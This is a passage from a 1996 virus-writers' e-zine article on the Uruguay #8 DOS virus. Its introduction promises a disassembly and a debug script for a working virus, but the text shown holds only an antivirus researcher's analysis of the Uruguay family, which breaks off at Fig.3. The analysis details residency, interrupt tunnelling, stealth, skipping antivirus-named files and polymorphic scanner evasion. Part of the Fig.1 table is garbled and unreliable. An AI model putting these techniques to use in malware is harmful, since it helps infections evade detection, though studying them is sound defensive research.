Insane Reality issue #8 - (c)opyright 1996 Immortal Riot/Genesis - REALITY.018 Article: Uruguay #8 special Author: Sepultura [IRG] % Uruguay #8 virus special by Sepultura [IRG] % _______________________________________________ Here's yet another Virus Spotlite style article on the Uruguay #8 virus, including an AV description, and disassembly. Uruguay 8 is a simple but interesting COM/EXE infector, which sports quite a complex polymorphic engine. Unfortunately I did not have the time to totally label/comment the large (3K) polymorphic engine, but there is enough labeling and commenting for you to understand the underlying procedures and algorithms, and understand how it works. The rest of the virus is fully commented and labeled. Since the disassembly of the polymorphic engine is not complete, it will not assemble correctly, so I have included the debug script to a complete and executable copy of the virus, after the .ASM file. To further your understanding of the virus, I have included an analysis of the Uruguay family, by Igor Muttik [we at IR/G let the AV do all the work =)]. This file includes, in order: Uruguay Analysis. Uruguay#8 disasm. Uruguay#8 debug script. - _Sepultura_ ;============================================================================ ;=[BEGIN URUGUAYS.TXT]======================================================= Uruguay family -- highly polymorphic research viruses. ====================================================== Igor G. Muttik Low Temperature Physics Laboratory, Physics Department, Moscow State University, 117234, Russia Phones: +7 095 3396238 9391147 Email: MIG@lt.phys.msu.su KEYWORDS -------- Virus, IBM PC, polymorphic, resident. ABSTRACT -------- Extremely polymorphic viruses, representing "Uruguay" series, are discussed. At present ten virus versions are known. They are research viruses and can only be found in the collections of virus hunters. All Uruguay viruses are resident fast infectors. The properties being discussed are: infection conditions, stealth capabilities, warm- reboot feature and the polymorphic engine properties. Much interest has arisen in this virus family due to their strong polymorphic properties. The comparison of the virus versions within this family presents a unique opportunity to analyze the evolution of the polymorphic engine. PREFACE ------- This series of research viruses was created in Montevideo (Uruguay) in 1992-1994. The first appearance of the Uruguay virus was in March 1992. At present ten versions are available. The first being the most simple and the last ones are one of the most polymorphic viruses ever created [1]. At present, none of these viruses have ever been found in the wild. However, Uruguay-#3 is available from some virus exchange BBS in the Western United States. Fortunately it still has not been detected in the wild. A report out of Finland states that Uruguay-#7 may have gotten out of one of the labs. So far this is unconfirmed. Uruguay virus versions #7-#10 are greater than 6K bytes making them one of the largest PC viruses. All Uruguay viruses are harmless. They do not carry any direct destructive payload. Uruguay-#1 was a simple resident fast infector with little polymorphicity. The main difference between Uruguay- #2 and its precursor was the usage of trace capabilities of the processor to determine the original entry points to DOS interrupt (21h) and to the BIOS disk service interrupt (13h). Most later virus versions (#2-#9) use the same technique. Uruguay-#3 was the first to intercept DOS interrupt 21h rewriting the start of the DOS service routine with FAR JMP to viral code. Most later versions use this technique too, except Uruguay-#10, which does not use tunneling at all. Major improvements to the polymorphic engine took place in Uruguay-#4, which unveiled nested encryption (see later). Uruguay-#5, #6 and #7 have some stealth features and use in-memory encryption. Later versions (#5 and up) are characterized with the constant improvement of the polymorphic engines capabilities. A very interesting story is associated with the Uruguay-#9 version. Fridrik Skulason from Iceland and Frans Veldman from the Netherlands, both members of the Computer Antivirus Research Organization (CARO) were the first to receive the virus from the author. Frans Veldman received the virus in the following way. The virus author logged into the BBS system (at 2400 bps), downloaded TBAV (Thunderbyte Anti-virus) and sent the Uruguay-#9 file. The BBS database shows the author lives in Montevideo and his birthday is 03-30-73. Somehow the copy sent to Fridrik was lost (probably deleted). The Uruguay-#9 virus is considered to be non-existent because CARO decided not to allow Veldman's copy of the virus to be distributed. I had planned on getting a copy of Uruguay-#9 for analysis from Fridrik, but after the mentioned events this research virus was temporarily inaccessible. The fact that the Uruguay-#9 virus is unavailable even to the researchers is a unique case. This emphasizes the strict policies that CARO has about the distribution of viruses. The last version - Uruguay-#10 is fresh, it appeared in May 1994. In this version most efforts of the author focused on the polymorphism. Comparison of the whole family (date of creation, code size, memory requirement, growth of infected file, condition of infection, armoring technique, etc.) is given in Fig.1. LIFE CYCLE ---------- The life cycle of all the viruses of the Uruguay family is almost identical. When an infected file is executed the virus receives control and starts the virus decryptor. This decryptor is a creation of the polymorphic engine of the virus. It should decode the virus body using a program, organized as a loop. At first glance it is hard to understand the algorithm because the decryptor is partially filled with do-nothing commands. Moreover, this decryptor uses different methods to load the initial values into the loop counter and into the pointer of the decrypted position. The decryptor converts the virus body to an un- encrypted state and starts the virus itself. First, the virus peeks into the BIOS timer byte at [0:46Ch]. If that byte is zero it will show the copyright string. It then restores the start of the infected file (3 bytes for versions #1-#5, 99 bytes for versions #6-#9 and 200 bytes for last #10). The virus checks to see if it is already resident in memory. All versions use the same method to check for residency. They call DOS interrupt (21h) with registers AX=3032h, DX=1234h and a response of AX=5678h means that the virus is active. If the virus is already active, control is simply transferred to the host file. If the file was of type EXE, the virus performs all needed relocations, shifts the image of the host file to a lower address (because the EXE header is no longer needed) and then transfers control to the host program. When not active in memory the virus scans the memory control block (MCB) chain, shrinks the last MCB (marked as 'Z') and copies its body to the very top address of conventional memory (see memory size in Fig.1). Most memory control block checkers (MEM, TDMEM, CHKDSK) do not report that memory available for DOS is less than 640K. If the computer has 640K of conventional memory, you can easily calculate exact value of virus code segment using the MEMORY_SIZE data from Fig.1 For example -- Uruguay-#7 has MEMORY_SIZE=252h paragraphs and CS=0A000h-252h=9CF8h (Note: you will have 9CF7h if UMB is used, because the top paragraph will be 09FFFh, not 0A000h). Finally, the virus intercepts the BIOS disk I/O interrupt (13h) and DOS services interrupt (21h). The virus finds the original entry points for these interrupts using the processor tracing regime (only versions #1 and #10 do not use tracing). At this point the virus takes control (DOS functions to execute, open and create files) and infects the executable files. Virus versions supporting a warm reboot (#5-#8) will also hook into the keyboard interrupt 09h (to intercept [Ctrl]+[Alt]+[Del] request). Then the virus transfers control to the host program in the same way as mentioned above. STRUCTURE AND PROPERTIES ------------------------ All the viruses have virtually the same copyright string inside. All internal copyright strings from the virus bodies are presented in Fig.2. These messages are stored in encrypted form (XORed). Therefore they are not visible even after decryption of the virus body. Obviously, dumping of the memory copy of the virus will not show these strings too. The virus copyright message is displayed when an infected file is executed (probability is equal to 1/256). The versions #1-#4 use DOS service INT_21h/AH=2, while #5- #10 use BIOS INT_10h/AH=0Eh. Printout is delayed, it takes a few seconds. It is accompanied by "random" musical tones, which are calculated from the ASCII codes of the printed characters (therefore, these tones are not really random). The copyright string is always printed during warm reboot in versions #6-#8. Versions #7 and #8 also have a separate message -- "Uruguay-#7 installed (seg=9CF8)" and "Uruguay- #8 installed (seg=9CDF)". This message is always displayed when the virus goes resident (screen output is performed through call of INT_10h/AH=0Eh). The number in the message represents a real segment, where the virus is located in memory. The virus code has a special procedure to update this hexadecimal number. The virus layout is shown in Fig.3 (Uruguay-#7 was selected as a typical example). The polymorphic engine (including its tables and random number generator) accounts for almost one half of the virus size. The versions #5-#8 have three different tracing routines (interrupt 01 handlers). The first detects the original entry points into the system interrupts 13h (disk I/O) and 21h (DOS services). The second traces and restores the original entry points of the BIOS interrupts (8, 9, 10h, 13h, 15h, 16h, 17h, 1Ah, 1Ch) before warm reboot. The third traces interrupt 19h individually to find its BIOS entry point. This entry point is called at the very end of processing the warm-reboot request. Figure 3 shows that these tracing routines occupy nearly 10% of the virus code. Versions #2-#8 use INT_2Fh/AX=1203h to determine the DOS code segment location. Uruguay viruses hook the following interrupts: 21h/4Bh, 21h/3Dh, 21h/4Ch, 21h/6Ch (versions #3-#10), 13h, 08h, 09h, 24h and 2Ah (#3-#8, to restore control over DOS interrupt 21h). Interrupt 19h is called to perform warm reboot (versions #5-#8). Interrupt handlers (13h, 21h and the infection routine) occupy approximately 20% of the virus code (Fig.3). Only versions #5-#7 are semi-stealth viruses. They can be considered semi-stealth, because some of the stealth properties are lacking from these viruses. They disfigure the file size (and file time stamp) definition. Only DOS functions 11h, 12h, 4Eh, 4Fh and 4202h are monitored by the virus. Any integrity checker will easily detect changes in the contents of the infected file (checksum and/or CRC will obviously change). The infected files have 100 years added to the date of file creation. The author of the Uruguay series discontinued support of the stealth feature. Versions #8-#10 lack any of the stealth properties. The versions #5-#8 will survive a warm reboot. After detection of a warm reboot request ([Ctrl]+[Alt]+[Del]) the virus performs the following steps: it frees the top memory addresses (decreasing word at [0:413h]), using the trace processor mode it determines the original BIOS entries for many interrupts (19h, 8, 9, 10h, 13h, 15h, 16h, 17h, 1Ah, 1Ch), intercepts only interrupts 8 and 9, switches off the A20 line (using function call 4 of the XMS driver), sets the initial videomode (as defined by [0:410h]), prints the copyright message, resets the interrupt controller and keyboard chip (8042) and, finally, issues interrupt 19h (reboot). Reliability of the warm-reboot feature seems to be low. I have tested Uruguay-#7 on four different types of computers and it always hangs after pressing [Ctrl]+[Alt]+[Del]. Further testing revealed, that the virus author does not take into account the possible existence of DOS in the HMA (the virus regarded all CS>0F000h and CS<0FFFFh as being part of the BIOS code segment, but it may belong to DOS if it was loaded high). When this bug was fixed the computer still would not fully reboot. It would hang on execution of MOUSE.COM in the AUTOEXEC.BAT file. If MOUSE.COM was removed the computer would boot to the DOS prompt. The computer seemed to function normally until entering into DEBUG where it would hang. Finally, I stopped testing the buggy warm-reboot subroutine. The virus author discontinued support of the warm-reboot feature in the versions #9-#10. The versions #5 and higher use a memory encryption mechanism that creates an obstacle for potential researchers. The mechanism works in the following way. The virus has a few rarely called procedures that can be stored in encrypted form. They will be decoded in memory only when needed and encrypted back when the work is done. These encrypted subroutines may be located all over the viral body. Uruguay-#5 uses 8 such subroutines, while Uruguay-#10 uses 14. By the way, these encrypted procedures include the whole polymorphic engine of the virus, all trace handlers, file name analyzer, file extension analyzer and some other subroutines. These encrypted slices, if taken in total, occupy at least 50% of the viral code. If just one of these short encrypted subroutines remains unencrypted, the results of disassembly will be unreliable (the disassembler will produce huge amount of unresolved references). Reconstructing the sources for these strains was grueling and time consuming work. The number of these encrypted slices (subroutines) grows with the version number (see Fig.1). In-memory encryption is the simplest method of encoding -- the procedure adds a random byte to all locations in the slice. The decoding procedure subtracts the same value to restore the original code. This variable byte is stored separately for each memory slice. Its random value is taken from the BIOS timer byte at [0:46Ch] for each instance of in-memory encoding (only #10 uses the internal random number generator instead). INFECTION CONDITIONS -------------------- All viruses of Uruguay family infect COM and EXE files. All versions cannot infect files larger than 64K. EXE files (starting with a "MZ" or "ZM" signature) are turned into COM. Infection occurs during the execute or open function (versions later than #3 also use open&create function). Files that are too short or too long are not infected (exact limits are given in Fig.1). Uruguay viruses never infect the COMMAND.COM file (except #2, which carries a special routine for the command interpreter infection which can probably infect COMMAND.COM). The string "COMMAND.COM" can be found in the memory copy of any Uruguay virus. The versions #5-#9 do not infect any file starting with "SC", "F-" or any file having the letter "V" in the filename. These checks probably mean "SCAN", "F-PROT", "VIRUSCAN", "FINDVIRU", "-V" or other antivirus software. A check for "AIDSTEST" is also present, but it does not work, because there is a bug in the virus code. All these checks seem to be very odd, because all present-day antivirus programs are far beyond the 64k limit. All versions, except #1 and #2, append the virus body to the end of the victim file. Versions #1 and #2 insert the viral code in a random place unless the size of the victim file is too small then an appending method is used. The reason for this behavior is obvious. When the victim file is shorter than the virus, it is not possible to place the virus inside the file. Consequently, version #1 places itself inside the host file if its size is greater than 2380 (94Ch), and #2 -- if greater than 2333 (91Dh) bytes. The versions #1-#4 use file size to indicate infection. Files infected with version #1 always have a size divisible by 19, versions #2-#4 -- are divisible by 23 (numbers are decimal). The file will remain uninfected if it already has the appropriate size. In such a case the virus assumes that it is already infected. The versions #5-#7 mark infected files by modifying the time stamp (INT_21h/57h). This method is more convenient for use in stealth viruses. Year of creation is changed to orig_file_year+100. Condition of infection is file_year<2000. The versions #8-#10 mark infected files by modifying the seconds field of the time stamp (INT_21h/57h, CX&&1F). The new seconds value is random and machine-specific (calculated from the BIOS contents of the computer). Files having this number in the seconds field are never infected. Infected file from different computers (with different BIOS) may be infected for the second time and such a file should run correctly. The files, infected with version #8 usually have many 0FFh bytes at the end of the infected file (this is part of videomemory at address [A000:0]), because the virus write operation overlaps from the virus memory block (located at the top of conventional memory) into videomemory. If the write operation was done in any graphic mode, infected files will carry a snapshot of videomemory (partial) at the very end. POLYMORPHIC ENGINE ------------------ Due to its large size and flexibility, investigating the principles and structure of Uruguay's polymorphic generator was very interesting. The size of this virus's polymorphic engine (>3K bytes for #8-#10) is larger than the size of most known viruses. There are many levels of polymorphism [2]. Later Uruguay viruses belong to the upper level [1]. On the other hand, the first versions (#1, #2) are not very polymorphic. They can easily be detected using multiple scan strings. The one interesting thing about the first two versions is that program which decodes the virus code (virus decryptor) not only decodes below the decryption loop but it also affects the loop instruction itself (Fig.4a,b). All later versions use the idea of decryption of LOOP instruction too. When looking on the code of virus decryptor for the first time we have an impression that after execution of some reasonable operators, processor goes into code garbage. But mentioned reasonable operators turn garbage into LOOP instruction and all goes fine. The exception to this is that the author did not take into account the internal processor queue which can fetch undecoded LOOP instruction beforehand and decryption will take place only in memory. In other words, the virus modifies the program code too close to the current instruction pointer, ignoring the pre-fetched instructions in the processor queue. That seems to be the reason why infected files (in the earlier versions) often hang after invocation (especially on 286 and later processors). Some countermeasures seem to have been taken in the later versions -- the polymorphic engine adds do-nothing operators (four in #7, five in #8) between the last decryption instruction and the encrypted LOOP command. Discussion of the more complex versions of the Uruguay family follows. The polymorphic generator of versions #6-#10 use the same approach to hide the entry point of the viral code. Typically, when a virus decide to infect an executable COM file, it operates in the following way. The virus overwrite the very beginning of the victim COM file with a jump into the viral code, which is appended to the end of the file (Fig.5a). This jump usually takes only three bytes (opcode is E9). The original contents of these three bytes is saved somewhere in the virus body. Thus, virus itself consists of two parts - virus head (3-byte jump, located at the very beginning of the infected file) and virus tail (the virus body at the very end of the infected file). Therefore, the simplest case of the virus head is a 3-byte jump. Such a jump in the very beginning of an executable COM file typically alerts most antivirus programs. The solution is simple -- virus may add some dummy code before the jump (this may be NOPs or other do-nothing commands) and make the jump itself slightly variable (use direct jump or jump via register contents, or use PUSH/RET command sequence to simulate a jump, etc.). Obviously, this "jump" in conjunction with all the do-nothing code (I called it "extended virus head") will take more space (comparing to the mentioned three bytes) and the virus will have to save more information from the beginning of file. An example of extended virus head is presented in Fig.5b. This specially constructed (by the polymorphic engine) virus head solves two things -- it transfers control to the virus tail and fools heuristic scanners. The virus tail, which receives control from the virus head, consists of a virus decryptor (created by the polymorphic engine) and an encrypted virus body, both attached to the end of the victim file. The size of the virus head located at the beginning of the victim file is constant for Uruguay versions #6-#9. The head takes 99 (63h) bytes. For the last version (#10) it takes 200 bytes. Control passes from the head to the tail in three different ways: 1.JMP offset; 2.PUSH offset,RET; 3.MOV reg,offset, JMP reg (I wrote here "MOV" for simplicity. In reality it may be any register- modification instruction, resulting in the desired contents of the used register, see detailed discussion later). Currently there are no antivirus utilities, which can detect such tricks even in heuristics mode. Uruguay-#10 improved this technology -- it uses 12 additional ways to pass control to the decryptor! The polymorphic engine of the later versions of Uruguay family performs two main tasks. It generates the virus head and the decryptor of the virus body. After invocation of the infected program (i.e., immediately after DOS EXEC call) the virus head gains control and passes that control to the virus tail. These virus parts are tightly linked, because the contents of the processor registers after execution of the virus head is the contents of the processor registers before execution of the virus decryptor. Therefore, these two variable sections of the virus are generated by one program - Uruguay's polymorphic engine. The polymorphic engine of later Uruguay viruses functions like a compiler. It has an internal table of registers (AX, CX, DX, BP, BX, SI, DI) as well as a table of their contents. The register management mechanism is flexible enough that if one processor register is in use the compiler selects another. If the engine needs to generate an instruction to loads some value into a register, it fetches the current contents of this register from the table and performs the needed modifications, simultaneously mirroring it in the table of contents. Registers DX and BP are not used in the decryption routine of Uruguays (all versions), but their contents are also mirrored in the table, because some instructions (register- modification, such as XCHG AX,BP or ADD SI,DX) affect other usable (AX, CX, BX, SI, DI) registers. The polymorphic engine uses the initial contents of the processor register as set by the DOS EXEC call. The virus knows all these values (given for COM files in hexadecimal: AX=0000, BX=0000, CX=00FF, DI=FFFE, SI=100) and places it in the table of register contents as the initial values. These settings are compatible with MS-DOS, but they may not be 100% compatible with DOS-like shells, because these settings are not documented. For example, Concurrent DOS 6.0 (from Digital Research) sets CX=0000, BP=0000, DI=0000, SI=0000. Therefore, usage of the register contents after EXEC calls may not be reliable, but it can be regarded as additional protection against investigation into the virus. Why? This technology cancels direct use of the DEBUG utility (and other debugging programs), which do not initialize registers in the same manner as MS DOS. To start the virus correctly under DEBUG you need to set CX=00FF, DI=FFFE and SI=0100 after loading of the infected file, otherwise the virus decryption routine will not work properly. The polymorphic engine, produces three types of instructions: do-nothing instructions, register- modification instructions and do-work instructions. When the polymorphic engine creates the virus head, the do-work instructions are "JMP", "PUSH/RET" or "MOV/JMP reg" commands. Later, when creating the decryptor of the virus body, the do-work instructions compose the decrypting routine. The complete listing of do-nothing commands is given in Fig.6 (for #7, #8). The entire listing of register-modification instructions is given in Fig.7 (for #7, #8). When generating register-modification instructions, the polymorphic engine uses code synonyms (i.e., processor opcodes, that are different, but performs the same task). For example, you can use the following opcodes for instruction "ADD AX,word" -- 05h and 81h, 0C0h. It also works for SUB (2Dh and 81h, 0E8h), XOR (35h and 81h, 0F0h), OR (0Dh and 81h, 0C8h), AND (25h and 81h, 0E0h), etc. Do-work instructions perform the following tasks: load initial value into the pointer register (it may be BX, SI or DI), load initial value into counter (always CX) and decrypt the word at the location indicated by the pointer register. The order of do-work instructions in the decryption routine is not fixed. The polymorphic engine may first generate a load counter instruction (always CX), then set the pointer (BX, SI or DI), but it can also produce these instructions in the reversed order. There are many variations to the encryption method. For example #7 and #8 can use as much as 16 different encryption methods (#1-#6 used only three simple methods -- XOR, SUB and ADD). All methods are presented in Fig.8. Nesting of up to five encryption algorithms is allowed in versions #4-#6 (see Fig.9a,b). For additional reliability the virus tests if the virus body is really encrypted, i.e., if two nested algorithms do not cancel each other. For example, methods 2 and 3 (Fig.8), if sequentially used, will produce an unencrypted virus body. You should take into account that Uruguays can use any usable processor register as a pointer with equal probability (BX, SI or DI). Moreover, the virus uses 6 different methods to perform the simple task of increasing (add 2) the pointer register. An example is given in Fig.10 (taken from version #7). Uruguay-#8 allow even more complex sequences in order to modify pointer registers (like: INC, DEC, ADD- signed, ADD-word, SUB-signed, SUB-word). The versions #3-#10 have an internal random number generator, which is extensively used in its polymorphic engine. It accepts one parameter -- AL and returns BH=0 and BL greater than zero and less than or equal to given AL (i.e., BX=[1;AL]). The random number generator uses the computer BIOS and the current timer contents [0:46Ch] to calculate output (several XOR, SUB and ADD instructions). It uses static variables to operate. In all versions (#3- #8) the random number generator is located in the uppermost addresses of the viral code. The difference between Uruguay-#7 and Uruguay-#8 is a slightly enhanced subroutine, for generating the instructions to load a constant into a given register. In #8 it is more flexible (i.e., #8 is a more polymorphic virus). Some other places were also rewritten, but the algorithms were not changed, so these modifications may be regarded as cosmetic. The main enhancements made in Uruguay-#10 are the following: the decryptor is two-level (and it asks DOS version between two decryption passes to complicate the determination of the moment of decryption termination), the head uses 12 ways to pass control to the decryptor and, finally, the flexibility of the polymorphic engine was improved much (for example, it now uses now multiple command prefixes and the interrupts 01 and 03 as do-nothing commands, etc.). The polymorphic engine of the Uruguay viruses (#5-#10) can be called "table driven" because of the typical sequence of actions. It usually generates the random number in the defined limits (for example [1;16]), gets the offset of the appropriate subroutine from the table (example: table of encryption subroutines, Fig.8), and calls this subroutine. Sometimes this sequence is complicated with the additional (and table driven too) loading of a random parameter to the called subroutine. Disassembled listing of Uruguay viruses has many tables. Uruguay-#7 has 17 tables of parameters and 6 tables of subroutines (64 entries in total). Uruguay-#8 has 18 tables of parameters and 9 tables of subroutines (with 73 entries)! Some Uruguay viruses (versions #5-#7) are simultaneously polymorphic and stealth. By the way, at present, very few polymorphic stealth viruses are known. Besides Uruguay #5-#7, only Tremor virus can be regarded to belong to this class [3]. The polymorphic stealth viruses face a serious problem. When they create the virus tail they must guarantee its fixed size in order to simplify the stealth routine. Typically, a stealth routine subtracts the virus tail size (always the same value in a resident part of a virus) from the real file size to make an illusion that the size remained unchanged. Therefore, the virus tail should have a constant size. That requirement is in contradiction with random behavior of polymorphic generator. The same problem appears when versions #6-#8 are creating the virus head. Its size is also fixed and the polymorphic engine should place its code exactly in the predefined space (99 or 200 bytes). Since the polymorphic engine uses a random approach and can exceed this fixed size, the virus will cancel its creation of the virus head or tail and attempt it again if the limit is exceeded. There are no antivirus scanners currently available which will reliably detect later versions of Uruguay viruses. Reliable identification of highly polymorphic viruses is a very complex task. We should have an algorithmic scanner for each polymorphic virus. Creation of such a scanner is impossible without detailed analysis of the virus source code, otherwise it cannot be regarded as reliable. If you can imagine a polymorphic virus that changes its encryption method once a month, you will begin to see that creation of a 100%-hit scanner can only be possible after extensive research into the virus internals. I have tested several virus scanners and found that Scan v.113 detects only versions #3, #4, #5, #6 (pretty reliably) and calls virus [Uruguvau]. ThunderByte AntiVirus 6.20 reliably detects #1, #2, #3, #4, #5 and #8. CONCLUSION ---------- We see that the Uruguay virus family introduced an interesting, table-driven polymorphic engine. It is definitely more complex and "more polymorphic" than the well-known "Dark Avenger's Mutating Engine" (called also MtE). Rare comparison of the two families shows that Uruguay (later versions) has far more variations than MtE. The polymorphicity of the later versions of Uruguay family is one of the highest, putting it close to the theoretical limit. The Uruguay virus decryptor utilizes almost all of the processor registers and virtually all of the processor opcodes in conjunction with many encryption methods. ACKNOWLEDGMENTS --------------- I have benefited from discussions with Dmitry Gryaznov and Vesselin Bontchev. I wish to thank Patricia Noack (Noack Systems, CA, USA), who assisted in the preparation of this document. REFERENCES ---------- 1. V.Bontchev "Known Polymorphic Viruses". Secure computing., January 1994, pp.60-64 (The files are available from FTP site ftp.informatik.uni-hamburg.de, in /pub/virus/texts/viruses/plymrphs.zip and poly9403.zip) 2. A.Solomon "Mechanisms of Stealth", Proc. 5th Int. Comp. Virus and Sec. Conf., New York, March 1992, pp.232- 238 3. V.Bontchev, private communication, April 1994. FIGURES ------- Fig.1. The comparison of Uruguay viruses. ÚÄÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÂÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄÂÄÄÄÄÄÄ¿ ³Virus³Date ³Code size³MEMORY_ ³Infectable ³File ³Head³Stea-³Warm ³Memory³Tunne-³ ³ ³ ³,bytes ³SIZE, para³file size ³growth³size³lth ³reboot³slices³ling ³ ÃÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÅÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄÅÄÄÄÄÄÄ´ ³ #1 ³03/92³ 938 ³ 129 ³>200,<=F400³ ~94F ³ 3 ³ - ³ - ³ 0 ³ - ³ ³ #2 ³04/92³ 8F6 ³ 120 ³>200,<=EC00³ ~91E ³ 3 ³ - ³ - ³ 0 ³ + ³ ³ #3 ³06/92³ 996 ³ 140 ³>200,<=F400³ 200,<=F400³ 200,<=EC00³ 10AD ³ 3 ³ + ³ + ³ 8 ³ + ³ ³ #6 ³11/92³ 120F ³ 252 ³>200,<=E000³ 130F ³ 63h³ + ³ + ³ 8 ³ + ³ ³ #7 ³02/93³ 17B0 ³ 308 ³>200,<=E000³ 18C8 ³ 63h³ + ³ + ³ 9 ³ + ³ ³ #8 ³03/93³ 1876 ³ 321 ³>200,<=D800³ <1C78³ 63h³ - ³ + ³ 10 ³ + ³ ³ #9 ³12/93³ 132A ³ 27F ³>200,<=D800³ <172C³ 63h³ - ³ - ³ 7 ³ + ³ ³#10 ³05/94³ 1812 ³ 35F ³>200,<=D000³ <2240³ 63h³ - ³ - ³ 14 ³ - ³ ÀÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÁÄÄÄÄÄÄÙ Fig.2. Virus copyright messages for versions #1-#8. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ The BEATLEMANIA is alive! ³ ³ THE BEATLES, for ever, the best. ³ ³ John, Paul, George and Ringo, ladies and gentlemen, here they are! ³ ³ PLEASE, PLEASE ME. WITH THE BEATLES. A HARD DAY'S NIGHT. ³ ³ BEATLES FOR SALE. HELP. RUBBER SOUL. REVOLVER. ³ ³ SGT.PEEPERS LONELY HEARTS CLUB BAND. THE BEATLES. YELLOW SUBMARINE. ³ ³ ABBEY ROAD. LET IT BE. MAGICAL MISTERY TOUR. ³ ³ Other LP and singles available... ³ ³ ³ ³ Virus 'Uruguay-#1' ³ ³ Programmed in Montevideo (URUGUAY) by F3161. 03/92. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#1 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ I love ROXETTE !!! ³ ³ ³ ³ Virus 'Uruguay-#2' ³ ³ Programmed in Montevideo (URUGUAY) by F3161. 04/92. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#2 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ 'Uruguay-#3' Virus ³ ³ Programmed in Montevideo (URUGUAY) by F3161. 06/92. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#3 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ 'Uruguay-#4' Virus ³ ³ Programmed in Montevideo (URUGUAY) by F3161. 07/92. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#4 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ 'Uruguay-#5' Virus ³ ³ Programmed in Montevideo (URUGUAY) by F3161. 08/92. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#5 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ 'Uruguay-#6' Virus ³ ³ Programmed in Montevideo (URUGUAY) by F3161. 11/92. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#6 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ Uruguay-#7 Virus ³ ³ Programmed in Montevideo (URUGUAY). 02/93. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#7 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ Uruguay-#8 Virus ³ ³ Programmed in Montevideo (URUGUAY). 03/93. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#8 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ Uruguay-#9 Virus ³ ³ Programmed in Montevideo (URUGUAY). 12/93. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#9 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ Uruguay-#10 Virus ³ ³ Programmed in Montevideo (URUGUAY). 05/94. ³ ³ This is a research virus - DO NOT DISTRIBUTE. ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Uruguay-#10 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Fig.3. Layout of Uruguay-#7 virus (was selected as a typical example). ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³ Relative ³ Absolute ³ Address ³ ³ Virus routines and data ³ size ³ size ³ zone ³ ³ ³ (%) ³ (bytes) ³ (hex) ³ 